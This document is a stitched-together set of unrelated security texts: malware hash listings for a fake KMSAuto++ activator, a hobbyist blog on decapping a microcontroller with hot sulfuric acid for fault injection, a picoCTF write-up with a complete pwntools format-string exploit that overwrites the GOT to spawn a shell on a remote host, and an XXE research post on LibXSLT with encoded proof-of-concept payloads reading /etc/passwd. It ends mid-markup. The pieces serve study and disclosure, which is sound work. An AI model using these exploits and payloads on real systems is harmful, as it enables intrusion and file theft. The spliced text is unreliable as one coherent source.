SHA 256: d529b406724e4db3defbaf15fcd216e66b9c999831e0b1f0c82899f7f8ef6ee1 
MD5: fb9e0617489f517dc47452e204572b4e 
Typical Filename: KMSAuto++.exe 
Claimed Product: KMSAuto++ 
Detection Name: W32.File.MalParent 

SHA 256: abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6 
MD5: 22ae85259273bc4ea419584293eda886 
Typical Filename: KMSAuto++ x64.exe 
Claimed Product: KMSAuto++ 
Detection Name: W32.File.MalParent 

Recently, the automotive VR team has undertaken an effort to reproduce the software extraction attack against one of the target devices used during the Automotive Pwn2Own 2024 held in Tokyo, Japan. The electromagnetic fault injection (EMFI) approach was chosen to attempt an attack against the existing readout protection mechanisms. This blog post details preparatory steps to speed up the attack, hopefully considerably.

Electromagnetic fault injection

In general, fault injection attacks against hardware attempt to produce some sort of gain for an attacker by injecting faults into a device under attack by manipulating clock pulses, supply voltages, temperature, electromagnetic fields around the device, and aiming short light pulses at certain locations on the device. Of these vectors, EMFI stands out as probably the only attack approach that requires close to no modifications of the device under attack, with all action being conducted at a quite short distance. The attack then proceeds by moving an EM probe above the device in very small increments and triggering an EM pulse. With any luck, this would disturb the normal operation of the device under attack in just the right way to cause the desired effect.

Practically speaking, some sort of an EM pulse tool is required to conduct the attack. In this case, the PicoEMP was chosen for that purpose, which has been mounted on a modified 3D printer carriage.

However, the device in question (a GD32F407Z by GigaDevice) is physically rather large, with the package measuring 20mm by either side. Considering how long each individual attempt runs, the fact that the attempt needs to be retried multiple times to collect meaningful outcome statistics, and rather small increments used to move the probe, it would make sense to narrow down the search area as much as possible. Injecting EM faults into the epoxy encapsulation would not bring much of an effect.

Decapping

Unfortunately, the encapsulation is not transparent and does not allow for easy visual identification of the die in the package. This means that some way of getting the die out is required to measure it, or better yet, leave the die in the package so it will be possible to measure both the die dimensions and the position of the die within the package.

There are multiple approaches to decapsulation, or decapping for short:

·      Mechanical: sanding or milling the package, cracking the encapsulation when heated
·      Chemical: applying acid to dissolve encapsulation
·      Thermal: placing the package in a furnace to burn encapsulation away
·      Optical: using a laser to burn encapsulation away in a precise manner

Of these, many require specialized equipment (mill, laser, furnace, fume hood for nitric acid), are time-consuming (sanding), or do not preserve important information (cracking the package). The choice was thus limited to what was available: hot sulfuric acid.

DANGER: Hot sulfuric acid is extremely corrosive; avoid spilling and wear proper PPE at all times.

DANGER: Sulfuric acid vapors are extremely corrosive; avoid inhaling and work in a well-ventilated area (fume hood or outside).

NOTE: Study relevant safety information including but not limited to materials handling, spill containment, and clean-up procedures before working with any hazardous chemicals.

NOTE: This blog post was written purely for educational purposes; any attempts to replicate the work are at your own risk.

Decapping process

As my home lab is, sadly, not equipped with a fume hood, all work was conducted outside.

The following tools were used:

·      Sulfuric acid, 96%
·      A heat source in the form of a hot air station
·      A crocodile clip “helping hands”
·      A squirt bottle with acetone
·      A PE pipette
·      A waste container.

To begin, the device under attack is fixed in the clip, and a small drop of acid was applied with the pipette in the package center.

The device was then heated using the hot air station set to 200°C  and a moderate air flow of around 40%. The aim of this process is to slowly dissolve the packaging epoxy. The device was heated until some fuming was observed from the drop and stopped before any bubbling would occur. If the acid gets hot enough to produce bubbles, the material will form a hard carbonized “cake” which will be problematic to remove. Unfortunately, this has been a problem before.

After the acid visibly darkened, which should take around 1 minute +- 50%, the heating was stopped, and the device was allowed to cool down somewhat. Then, the acid was washed off with acetone into the waste container. The device then was dried off with hot air to remove moisture.

The process was then repeated multiple times, with each iteration removing a bit of the packaging material. This was captured in the following series of images (more steps were taken than is presented here):

A stack of dice slowly emerged from the package: the larger one is the microcontroller itself, and the smaller one is the serial Flash memory holding all the programmed code and data. Unfortunately, the current process does not preserve the bond wires, rendering the device inoperable. Its operation was not required in our case. This could possibly be mitigated by using a 98% acid and anhydrous acetone – something to attempt in the future.

Measurements

The end result of the decapping process is pictured below.

Using a graphics editor, it is possible to take measurements in pixels of the package, the die, and the die positioning. This came out to be the following:

·      Package size 1835x1835 pixels (measured) = 20x20 mm (known from the datasheet)
·      Pixels per mm: 91.75
·      Die size 366x366 pixels (measured) = 4x4mm (computed)
·      Die offset from bottom left: 745x745 pixels (measured) = 8.12x8.12mm (computed)

The obtained numbers are immediately useful to program the EM probe motion restricted to the die area only. To find out how much experiment time this could save, let’s compute the areas: 4x4 = 16 mm2 for the die itself, and 20x20 = 400 mm2 for the whole package. This is 25 times decrease in the area and thus the experiment time.

Another approach that could avoid the decapping process is moving the probe in a spiral fashion, starting from the package center and moving outwards. This is of course possible to implement. However, the challenge here is the possibility of the two dice getting packaged side-to-side instead of being stacked like in this example – this would severely decrease the gain from this approach. Given the decapping only takes no more than 1-2 hours including cleanup, this was deemed well worth the information gained – and the die pictures obtained.

Conclusion

I hope you enjoyed this brief tutorial. Again, please take caution when using sulfuric acid or any other corrosive agents. Please dispose of waste materials responsibly. The world of hardware hacking offers many opportunities for discovery. We’ll continue to post guides and methodologies in future posts. Until then, you can follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

Summary

This blogpost covers a Capture The Flag challenge that was part of the 2024 picoCTF event that lasted until Tuesday 26/03/2024. With a team from NVISO, we decided to participate and tackle as many challenges as we could, resulting in a rewarding 130th place in the global scoreboard. I decided to try and focus on the binary exploitation challenges. While having followed Corelan’s Stack & Heap exploitation on Windows courses, Linux binary exploitation was fairly new to me, providing a nice challenge while trying to fill that knowledge gap.

The challenge covers a format string vulnerability. This is a type of vulnerability where submitted data of an input string is evaluated as an argument to an unsafe use of e.g., a printf() function by the application, resulting in the ability to read and/or write to memory. The format string 3 challenge provides 4 files:

• The vulnerable binary format-string-3 (download link)
• The vulnerable binary source code format-string-3.c (download link)
• A C standard library libc.so.6 (download link)
• A dynamic linker as the interpreter ld-linux-x86-64.so.2 (download link)

These files are provided to analyze the vulnerability locally, but the goal is to craft an exploit to attack a remote target that runs the vulnerable binary.

The steps of the final exploit:

1. Fetch the address of the setvbuf function in libc. This is actually provided by the vulnerable binary itself via a puts() function to simulate an information leak printed to stdout,
2. Dynamically calculate the base address of the libc library,
3. Overwrite the puts function address in the Global Offset Table (GOT) with the system function address using a format string vulnerability.

For step 2, it’s important to calculate the address dynamically (vs statically/hardcoded) since we can validate that the remote target loads modules at different addresses every time it’s being run. We can verify this by running the binary multiple times, which provides different memory addresses each time it is being run. This is due to the combination of Address Space Layout Randomization (ASLR) and the Position Independent Executable (PIE) compiler flag. The latter can be verified by using readelf on our binary since the binary is provided as part of the challenge.

Interesting resource to learn more about the difference between these mitigations: ASLR/PIE – Nightmare (guyinatuxedo.github.io)

Then, by spawning a shell, we can read and submit the flag file content to solve the challenge.

Vulnerability Details

Background on string formatting

The challenge involved a format string vulnerability, as suggested by its name and description. This vulnerability arises when user input is directly passed and used as arguments to functions such as the C library’s printf() and its variants:

int printf(const char *format, ...)
int fprintf(FILE *stream, const char *format, ...)
int sprintf(char *str, const char *format, ...)
int vprintf(const char *format, va_list arg)
int vsprintf(char *str, const char *format, va_list arg)

Even with input validation in place, passing input directly to one of these functions (think: printf(input)) should be avoided. It’s recommended to use placeholders and string formatting such as printf("%s", input) instead.

The impact of a format string vulnerability can be divided in a few categories:

• Ability to read values on the stack
• Arbitrary memory reads
• Arbitrary memory writes

In the case where arbitrary memory writes are possible, an adversary may obtain full control over the execution flow of the program and potentially even remote code execution.

Background on Global Offset Table

Both the Procedure Linkage Table (PLT) & Global Offset Table (GOT) play a crucial role in the execution of programs, especially those compiled using shared libraries – almost any binary running on a modern system.

The GOT serves as a central repository for storing addresses of global variables and functions. In the current context of a CTF challenge featuring a format string vulnerability, understanding the GOT is crucial. Exploiting this vulnerability involves manipulating the addresses stored in the GOT to redirect program flow.

When an executable is programmed in C to call function and is compiled as an ELF executable, the function will be compiled as function@plt. When the program is executed, it will jump to the PLT entry of function and:

• If there is a GOT entry for function, it jumps to the address stored there;
• If there is no GOT entry, it will resolve the address and jump there.

An example of the first option, where there is a GOT entry for function, is depicted in the visual below:

During the exploitation process, our goal is to overwrite entries in the GOT with addresses of our choosing. By doing so, we can redirect the program’s execution to arbitrary locations, such as shellcode or other parts of memory under our control.

Reviewing the source code

We are provided with the following source code:

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}

Since we have a compiled version provided from the challenge, we can proceed and make it executable. We then do a test run, which provides the following output:

# Making both the executable & linker executable
chmod u+x format-string-3 ld-linux-x86-64.so.2

# Executing the binary
./format-string-3

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f7c778eb3f0

# This is our input, ending with <enter>
test

test
/bin/sh

We note a couple of things:

• The binary provides us with the memory address of the setvbuf function in the libc library,
• We have a way of providing a string as input which is read by the fgets function and printed back in an unsafe manner using printf,
• The program finishes with a puts() function call that writes /bin/sh to stdout.

This is hinting towards a memory address overwrite of the puts() function to replace it with the system() function address. As a result, it will then execute system("/bin/sh") and spawn a shell.

Vulnerability #1: Memory Leak

If we take another look at the source code above, we notice the following line in the hello() function:

printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);

Here, the creators of the challenge intentionally leak a memory address to make the challenge easier. If not, we would have to deal with finding an information leak ourselves to bypass Address Space Layout Randomization (ASLR), if enabled.

We can still treat this as an actual information leak that provides us a memory address during runtime. We will use this information to dynamically calculate the base address of the libc library based on the setvbuf function address in the exploitation section below.

Vulnerability #2: Format String Vulnerability

In the test run above we provided a simple test string as input to the program, which was printed back to stdout via the puts(buf) function call. In an excellent paper that can be found here, we learned that we can use format specifiers in C to:

• Read arbitrary stack values, using format specifiers such as %x (hexadecimal) or %p (pointers),
• Read from arbitrary memory addresses using a combination of %c to move the argument pointer and %s to print the contents of memory starting from an address we specify in our input string,
• Write to arbitrary memory addresses by controlling the output counter using %mc, which will increase the output counter with m. Then, we can write the output counter value to memory using %n, again if we provide the memory address correctly as part of our input string.

Even though the source code already indicates that our input is unsafely processed and parsed as an argument for the printf() function, we can verify that we have a format string vulnerability here by providing %p as input, which should read a value as a pointer and print it back to us:

# Executing the binary
./format-string-3

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f2818f423f0

# This is our input, ending with <enter>
%p

# This is the output of the printf(buf) function call
# This now prints back a value as a pointer
0x7f28190a0963
/bin/sh

The challenge preceding format string 3, called format string 2, actually provided very good practice to get to know format string specifiers and how you can abuse them to read from memory and write to memory. Highly recommended!

Exploitation

We are now armed with an information leak that provides us a memory address and a format string vulnerability. Let’s try and combine these two to get code execution on our remote system.

Calculating input string offset

Before we can really start, there is something we need to address: how do we know where our input string is located in memory once we have sent it to the program? And why does this even matter?

Let’s first have a look at the input AAAAAAAA%2$p. This provides 8 A characters, and then a format specifier to read the 2nd argument to the printf() function, which will, in this case, be a value from memory:

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fa5ae99b3f0
AAAAAAAA%2$p
AAAAAAAA0xfbad208b
/bin/sh

Ideally (we’re explaining why later), we have a format specifier %n$p where n is an offset to point exactly at the start of our input string. You can do this manually (%p, %2$p, %3$p…) until %p points to your input string, but I did this using gdb:

# Open the program in gdb
gdb format-string-3

# Put a breakpoint at the puts function
b puts

# Run the program
r

# Continue the program since it will hit the breakpoint 
# on the first puts call in our program (Howdy Gamers !)
c

# Provide our input AAAAAAAA followed by <enter>
AAAAAAAA

The program should now hit the breakpoint on puts() again, after which we can look at the stack using context_stack 50 to print 50×8 bytes on the stack. You should be able to identify your input string on the 33rd line, which we can easily calculate by dividing the number of bytes by 8:

You could assume that 33 is the offset we need, but there’s a catch:

From https://lettieri.iet.unipi.it/hacking/format-strings.pdf:

On 64b systems, the first 5 %lx will print the contents of the rsi, rdx, rcx, r8, and r9, and any additional %lx will start printing successive 8-byte values on the stack.

This means we need to add 5 to our offset to compensate for the 5 registers, resulting in a final offset of 38, as can be seen in the following visual:

The offset displayed on top of the visual indicates the relative offset from the start of the stack.

This offset now points exactly to the start of our input string:

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7ff5ed4873f0
AAAAAAAA%38$p
AAAAAAAA0x4141414141414141
/bin/sh

AAAAAAAA is converted to 0x4141414141414141 in hexadecimal since we are printing the input string as a pointer using %p.

Now the (probably) more critical question to understand the answer to: why does it matter that we know how to point to our input string in memory? Up until this point, we have only been reading our own string in memory. What will happen when we replace our %p format specifier to read, to the %n format specifier?

Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f4bfd3ff3f0
AAAAAAAA%38$n
zsh: segmentation fault  ./format-string-3

We get a segmentation fault. What is going on? Our input string now tries to write the value of the output counter to the memory address we were pointing to before with %p, which is… our input string itself.

This means we now have control over where we can write values since we control the input string. We can also modify what we are writing to memory as long as we can control the output counter. We also have control over this, as explained before:

Write to arbitrary memory addresses by controlling the output counter using %mc, which will increase the output counter with m.

By changing the format specifier, we now executed the following:

To clearly grasp the concept: if we change our input string to BBBBBBBB, we will now write to 0x4242424242424242 instead, indicating we can control to which memory address we are writing something by modifying our input string.

In this case, we received a segmentation fault since the memory at 0x4141414141414141 is not writeable (page protections, not mapped…). In the next part, we’re going to convert our arbitrary write primitive to effectively do something useful by overwriting an entry in the Global Offset Table.

Local Exploitation

Let’s take a step back and think what we logically need to do. We need to:

1. Fetch the address of our setvbuf function in the libc library, provided by the program,
2. From this address, calculate the base address of libc,
3. Send a format string payload that overwrites the puts function address in the GOT with the system function address in libc,
4. Continue execution to give control to the operator.

We are going to use the popular pwntools library for Python 3 to help us out quite a bit.

First, let’s attach to our program and print the lines until we hit the libc: output string, then store the memory address in an integer:

from pwn import *

p = process("./format-string-3")

info(p.recvline())              # Fetch Howdy Gamers!
info(p.recvuntil("libc: "))     # Fetch line right before setvbuffer address

# Get setvbuffer address
bytes_setvbuf_address = p.recvline()

# Convert output bytes to integer to store and work with our address
setvbuf_leak = int(bytes_setvbuf_address.split(b"x")[1].strip(),16)
info("Received setvbuf address leak: %s", hex(setvbuf_leak))

### Sample Output
[+] Starting local process './format-string-3': pid 216507
[*] Howdy gamers!
[*] Okay I'll be nice. Here's the address of setvbuf in libc: 
[*] Received setvbuf address leak: 0x7fb19acc83f0
[*] Stopped process './format-string-3' (pid 216507)

Second, we manually load libc to be able to set its base address to match our (now local, but future remote) target libc base address. We do this by subtracting the setvbuf function address from our manually loaded libc from our leaked function address:

...
libc = ELF("./libc.so.6")
info("Calculating libc base address...")
libc.address = setvbuf_leak - libc.symbols['setvbuf']
info("libc base address: %s", hex(libc.address))

### Sample Output
[+] Starting local process './format-string-3': pid 219013
[*] Howdy gamers!
[*] Okay I'll be nice. Here's the address of setvbuf in libc: 
[*] Received setvbuf address leak: 0x7f25a21de3f0
[*] Calculating libc base address...
[*] libc base address: 0x7f25a2164000
[*] Stopped process './format-string-3' (pid 219013)

Finally, we can utilize the fmstr_payload function of pwntools to easily write:

• What: the system function address in libc
• Where: the puts entry in the GOT of our binary

Before actually executing and sending our payload, let’s make sure we understand what’s happening. We start by noting down the addresses of:

• the system function address in libc (0x7f852ddca760)
• the puts entry in the GOT of our binary (0x404018)

next to the payload we are going to send in an interactive Python prompt, for demonstration purposes:

>>> elf = context.binary = ELF('./format-string-3')
>>> hex(libc.symbols['system'])
'0x7f852ddca760'
>>> hex(elf.got['puts'])
'0x404018'
>>> fmtstr_payload(38, {elf.got['puts'] : libc.symbols['system']})
b'%96c%47$lln%31c%48$hhn%6c%49$hhn%34c%50$hhn%53c%51$hhn%81c%52$hhnaaaabaa\x18@@\x00\x00\x00\x00\x00\x1d@@\x00\x00\x00\x00\x00\x1c@@\x00\x00\x00\x00\x00\x19@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00\x1b@@\x00\x00\x00\x00\x00'

You can divide the payload in different blocks, each serving the purpose we expected, although it’s quite a step up from what we’ve manually done before. We can identify the pattern %mc%n$hhn (or ending lln), which:

• Increases the output counter with m (note that the output counter does not necessarily start at 0)
• Writes the value of the output counter to the address selected by %n$hhn. The first n selects the relevant entry on the stack where our input string memory address is located. The second part, $hhn, resembles our expected %n format specifier, but the double hh is a modifier to truncate the output counter value to the size of a char, thus allowing us to write 1 byte.

Let’s now analyze the payload and calculate ourselves for 1 write operation to understand how the payload works. We have %96c%47$lln as the first block of our payload, which can be logically seen as a write operation. This:

• Increases the output counter with 96h (hex) or 150d (decimal)
• Writes the current value of the output counter (n, truncated by a long long (ll), or 8 bytes, to the memory address specified at offset 42:

As you can see in the payload above, offset 42 will correspond with \x18@@\x00\x00\x00\x00\x00, which is further down our payload. @ is \x40 in hex, so our target address matches the value for the puts entry in the GOT if we swap the endianness: \x00\x00\x00\x00\x00\x40\x40\x18, or 0x404018. This clearly indicates we are writing to the correct memory location, as expected.

You’ll notice that aaaabaa is also part of our payload: this serves as padding to correctly align our payload to have 8-byte addresses on the stack. The start of an offset on the stack should contain exactly the start of our 8-byte memory address to write to, since we’re working on a 64-bit system. If no padding is present, a reference to an offset would start in the middle of a memory address.

After writing, the payload will continue with processing the next block %31c%48$hhn, which again increases the output counter and writes to the next offset (43). This offset contains our next address. The payload will continue until 6 blocks are executed, which corresponds to 6 %…%n statements.

Now that we understand the payload, we load the binary using ELF and send our payload to our target process, after which we give interactive control to the operator:

...
elf = context.binary = ELF('./format-string-3')
info("Creating format string payload...")
payload = fmtstr_payload(38, {elf.got['puts'] : libc.symbols['system']})

# Ready to send payload!
info("Sending payload...")
p.sendline(payload)
p.clean()

# Give control to the shell to the operator
info("Payload successfully sent, enjoy the shell!")
p.interactive()

The fmtstr_payload function really does a lot of heavy lifting for us combined with the elf and libc references. It effectively writes the complete address of libc.symbols[‘system’] to the location where elf.got[‘puts’] originally was in memory by precisely modifying the output counter and executing memory write operations.

### Sample Output
[+] Starting local process './format-string-3': pid 227263
[*] Howdy gamers!
[*] Okay I'll be nice. Here's the address of setvbuf in libc: 
[*] Received setvbuf address leak: 0x7fa7c29473f0
[*] '/home/kali/picoctf/libc.so.6'
[*] Calculating libc base address...
[*] libc base address: 0x7fa7c28cd000
[*] '/home/kali/picoctf/format-string-3'
[*] Creating format string payload...
[*] Sending payload...
[*] Payload successfully sent, enjoy the shell!
[*] Switching to interactive mode
$ whoami
kali

We successfully exploited the format string vulnerability and called system('/bin/sh'), resulting in an interactive shell!

Remote Exploitation

Switching to remote exploitation is trivial in this challenge, since we can simply reuse the local files to do our calculations. Instead of attaching to a local process using p = process("./format-string-3"), we substitute this by connecting to a remote target:

# Define remote targets
target_host = "rhea.picoctf.net"
target_port = 62200

# Connect to remote process
p = remote(target_host, target_port)

Note that you’ll need to substitute the port that is provided to you after launching the instance on the picoCTF platform.

### Sample Output
...
[*] Payload successfully sent, enjoy the shell!
[*] Switching to interactive mode
$ ls flag.txt
flag.txt

That concludes the exploit, after which we can submit our flag. In a real world scenario, getting this kind of remote code execution would clearly be a great risk.

Conclusion

The preceding challenges that lead up to this challenge (format string 0, 1, 2) proved to be a great help in understanding format string vulnerabilities and how to exploit them. Since Linux exploitation is a new topic to me, this was a great way to practice these types of vulnerabilities during a fun event.

Format string vulnerabilities are less common than they used to be, however, our IoT colleagues assured me they encountered some recently during an IoT device assessment.

That’s why it’s important to adhere to:

• Input Validation
• Limit User-Controlled Input
• Enable (or pay attention to already enabled) compiler warnings for format string vulnerabilities
• Secure Coding Practices

This should greatly limit the risk of format string vulnerabilities still being present in current day applications.

References

• PicoGym: https://play.picoctf.org/practice
• Hack using Global Offset Table: https://nuc13us.wordpress.com/2015/12/25/hack-using-global-offset-table/
• Format Strings Paper from Universita di Pisa: https://lettieri.iet.unipi.it/hacking/format-strings.pdf
• Format Specifiers in C: https://unstop.com/blog/format-specifiers-in-c

About the author

Wiebe Willems

Wiebe Willems is a Cyber Security Researcher active in the Research & Development team at NVISO. With his extensive background in Red & Purple Teaming, he is now driving the innovation efforts of NVISO’s Red Team forward to deliver even better advisory to its clients.

Wiebe honed his skills by getting certifications for well-known Red Teaming trainings, next to taking deeply technical courses about stack & heap exploitation.

LinkedIn

A year ago, I wondered what a malicious page with disabled JavaScript could do.

I knew that SVG, which is based on XML, and XML itself could be complex and allow file access. Is the Same Origin Policy (SOP) correctly implemented for all possible XML and SVG syntaxes? Is access through the file:// protocol properly handled?

Since I was too lazy to read the documentation, I started generating examples using ChatGPT.

XSL

The technology I decided to test is XSL. It stands for eXtensible Stylesheet Language. It’s a specialized XML-based language that can be used within or outside of XML for modifying it or retrieving data.

In Chrome, XSL is supported and the library used is LibXSLT. It’s possible to verify this by using system-property('xsl:vendor') function, as shown in the following example.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="system-properties.xsl" type="text/xsl"?>  
<root/>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<p>
Version: <xsl:value-of select="system-property('xsl:version')" /> <br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</p>
</xsl:template>
</xsl:stylesheet>

Here is the output of the system-properties.xml file, uploaded to the local web server and opened in Chrome:

The LibXSLT library, first released on September 23, 1999, is both longstanding and widely used. It is a default component in Chrome, Safari, PHP, PostgreSQL, Oracle Database, Python, and numerous others applications.

The first interesting XSL output from ChatGPT was a code with functionality that allows you to retrieve the location of the current document. While this is not a vulnerability, it could be useful in some scenarios.

<?xml-stylesheet href="get-location.xsl" type="text/xsl"?>  
<!DOCTYPE test [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
]>
<test>
<getLocation test="ent"/>
</test>

<xsl:stylesheet version="1.0"  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
>  
  <xsl:output method="html"/>  
  <xsl:template match="getLocation">  
          <input type="text" value="{unparsed-entity-uri(@test)}" />  
  </xsl:template>  
</xsl:stylesheet>

Here is what you should see after uploading this code to your web server:

All the magic happens within the unparsed-entity-uri() function. This function returns the full path of the “ent” entity, which is constructed using the relative path “?”.

XSL and Remote Content

Almost all XML-based languages have functionality that can be used for loading or displaying remote files, similar to the functionality of the <iframe> tag in HTML.

I asked ChatGPT many times about XSL’s content loading features. The examples below are what ChatGPT suggested I use, and the code was fully obtained from it.

XML External Entities

Since XSL is XML-based, usage of XML External Entities should be the first option.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

XInclude

XInclude is an XML add-on that’s described in a W3C Recommendation from November 15, 2006.

<?xml version="1.0"?>
<test xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd"/>
</test>

XSL‘s <xsl:import> and <xsl:include> tags

These tags can be used to load files as XSL stylesheets, according to ChatGPT.

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="file:///etc/passwd"/>
  <xsl:import href="file:///etc/passwd"/>
</xsl:stylesheet>

XSL’s document() function

XSL’s document() function can be used for loading files as XML documents.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet  version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

XXE

Using an edited ChatGPT output, I crafted an XSL file that combined the document() function with XML External Entities in the argument’s file, utilizing the data protocol. Next, I inserted the content of the XSL file into an XML file, also using the data protocol.

When I opened my XML file via an HTTP URL from my mobile phone, I was shocked to see my iOS /etc/hosts file! Later, my friend Yaroslav Babin(a.k.a. @yarbabin) confirmed the same result on Android!

Next, I started testing offline HTML to PDF tools, and it turned out that file reading works there as well, despite their built-in restrictions.

There was no chance that this wasn’t a vulnerability!

Here is a photo of my Smart TV, where the file reading works as well:

I compiled a table summarizing all my tests:

The likely root cause of this discrepancy is the differences between sandboxes. Running Chrome on Windows or Linux with the --no-sandbox attribute allows reading arbitrary files as the current user.

Other Tests

I have tested some applications that use LibXSLT and don’t have sandboxes.

The default PHP configuration disables parsing of external entities XML and XSL documents. However, this does not affect XML documents loaded by the document() function, and PHP allows the reading of arbitrary files using LibXSLT.

According to my tests, calling libxml_set_external_entity_loader(function ($a) {}); is sufficient to prevent the attack.

POCs

You will find all the POCs in a ZIP archive at the end of this section. Note that these are not zero-day POCs; details on reporting to the vendor and bounty information will be also provided later.

First, I created a simple HTML page with multiple <iframe> elements to test all possible file read functionalities and all possible ways to chain them:

Open this page in Chrome, Safari, or Electron-like apps. It may read system files with default sandbox settings; without the sandbox, it may read arbitrary files with the current user’s rights.

As you can see now, only one of the call chains leads to an XXE in Chrome, and we were very fortunate to find it. Here is my schematic of the chain for better understanding:

Next, I created minified XML, SVG, and HTML POCs that you can copy directly from the article.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE svg [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
]>
<svg location="ent" />

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgdHlwZT0iaHRtbCIvPgo8eHNsOnRlbXBsYXRlIG1hdGNoPSJ0ZXN0MSI+CjxodG1sPgpMaWJyYXJ5OiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0ic3lzdGVtLXByb3BlcnR5KCd4c2w6dmVuZG9yJykiIC8+PHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlcnNpb24nKSIgLz48YnIgLz4gCkxvY2F0aW9uOiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0idW5wYXJzZWQtZW50aXR5LXVyaShAbG9jYXRpb24pIiAvPiAgPGJyLz4KWFNMIGRvY3VtZW50KCkgWFhFOiAKPHhzbDpjb3B5LW9mICBzZWxlY3Q9ImRvY3VtZW50KCdkYXRhOiwlM0MlM0Z4bWwlMjB2ZXJzaW9uJTNEJTIyMS4wJTIyJTIwZW5jb2RpbmclM0QlMjJVVEYtOCUyMiUzRiUzRSUwQSUzQyUyMURPQ1RZUEUlMjB4eGUlMjAlNUIlMjAlM0MlMjFFTlRJVFklMjB4eGUlMjBTWVNURU0lMjAlMjJmaWxlOi8vL2V0Yy9wYXNzd2QlMjIlM0UlMjAlNUQlM0UlMEElM0N4eGUlM0UlMEElMjZ4eGUlM0IlMEElM0MlMkZ4eGUlM0UnKSIvPgo8L2h0bWw+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?>
<!DOCTYPE test [  
    <!ENTITY ent SYSTEM "?" NDATA aaa>  
]>
<test1 location="ent"/>

<html>
<head>
